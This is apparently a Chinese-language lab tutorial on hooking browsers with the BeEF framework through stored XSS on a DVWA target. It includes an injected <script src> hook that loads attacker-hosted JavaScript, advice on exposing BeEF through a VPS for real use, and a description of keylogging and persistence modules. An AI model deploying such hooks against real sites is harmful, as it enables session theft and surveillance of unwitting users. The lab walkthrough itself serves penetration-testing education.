XSS之Beef的使用

0x01 Beef简介

BeEF是The Browser Exploitation Framework的缩写。它是一种专注于Web浏览器的渗透测试工具。

beef管理、挂钩web浏览器的过程：

生成交互paylaod的hook
服务器端：beef作为服务端管理，管理访问运行了hook的客户端
客户端：运行与客户端浏览器的 Javascript 脚本（hook），也就是beef生成的payload。
beef将运行了hook的web浏览器钩住，进行管理

0x02攻击手段

配合xss，将hook插入到存在xss的注入处；

直接诱使客户端访问含有 hook 的伪造站点

结合中间人攻击注入 hook 脚本

0x03 用途

键盘记录器
网络扫描
浏览器信息收集
绑定 shell
与 metasploit 集成
等...

0x04 beef工具获取

beef只支持Linux平台

获取：

wget https://github.com/beefproject/beef/archive/master.zip
或：
git clone https://github.com/beefproject/beef

安装配置查看：https://github.com/beefproject/beef/wiki/Installation

kali-linux自带beef；

beef如果用于实战的话，需要一台vps，也就是建立连接的时候要使受害机能访问到beef，因此需要一个外网ip。

我的vps安装beef的时候有点问题，那么我们可以使用本地kali的beef，开放服务后，对beef的服务端口进行端口转发，转发到我们外网的vps上，那么受害机访问payload（hook）后就可以反向到我们的beef服务端了。

这里端口转发可以使用frp、portfwd、ew等。

0x05使用

我在本地进行演示：

攻击机kali：192.168.106.129

靶机DVWA：192.168.31.214

1.更改beef的默认用户名密码

beef的配置文件：/etc/beef-xss/config.yaml

beef的默认用户名密码为beef、beef，如果需要更改beef的用户密码，则在配置文件里面更改user和passwd的值

2.启动

终端输入beef-xss即可启动beef服务端。

beef的服务端地址为：http://127.0.0.1:3000/ui/panel，启动之后浏览器会自动打开网页，进入登录页面，用户密码为默认的beef

登录成功后，这里会显示在线的主机和不在线的主机。在线的就是现在该主机浏览器执行了我们的JS脚本代码，不在线的就是该主机曾经执行过我们的JS脚本代码，但是现在叉掉了该页面

3.插入脚本hook到靶机

然后我们的hook启动的时候已经给出：

Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="https://<IP>:3000/hook.js"></script>
[*] Example: <script src="https://127.0.0.1:3000/hook.js"></script>

kali的地址为192.1618.106.129，那么靶机上插入的hook js脚本为：

<script src="https://192.168.106.129:3000/hook.js"></script>

在靶机DVWA上找一个xss漏洞，将hook插入到注入点：

留言提交后，靶机的浏览器就被beef钩上了：

因为我kali虚拟机开的nat模式，本机连的wifi，因此beef上显示的ip不是我wifi分配的ip，但就是我本机。

存储型xss的话只要插入的hook js语句，那么管理员正常访问他的站点就会触发，然后上钩。

0x06 beef管理

在beef上上钩了的受害机，beef对其可以获取到很多主机、浏览器信息

1、Details是浏览器信息详情

2.logs模块-键盘记录

3.commands-命令模块

Commands是你能对该浏览器进行哪些操作

主要模块：

-Browsers

- Exploits

- Host

- Persistence（持久）

- Network

绿色圆圈：表示模块适合目标浏览器，并且执行结果对客户端不可见

红色圆圈：表示模块不适用与当前用户，有些红色模块也可以正常执行

橙色圆圈：模块可用，但结果对用户可见（CAM 弹窗申请权限）

灰色圆圈：模块未在目标浏览器上测试过

更多的请参照卿师傅的博客：https://blog.csdn.net/qq_17204441/article/details/90706415?ops_request_misc=%7B%22request%5Fid%22%3A%22158209161719724835856114%22%2C%22scm%22%3A%2220140713.130056874..%22%7D&request_id=158209161719724835856114&biz_id=0&utm_source=distribute.pc_search_result.none-task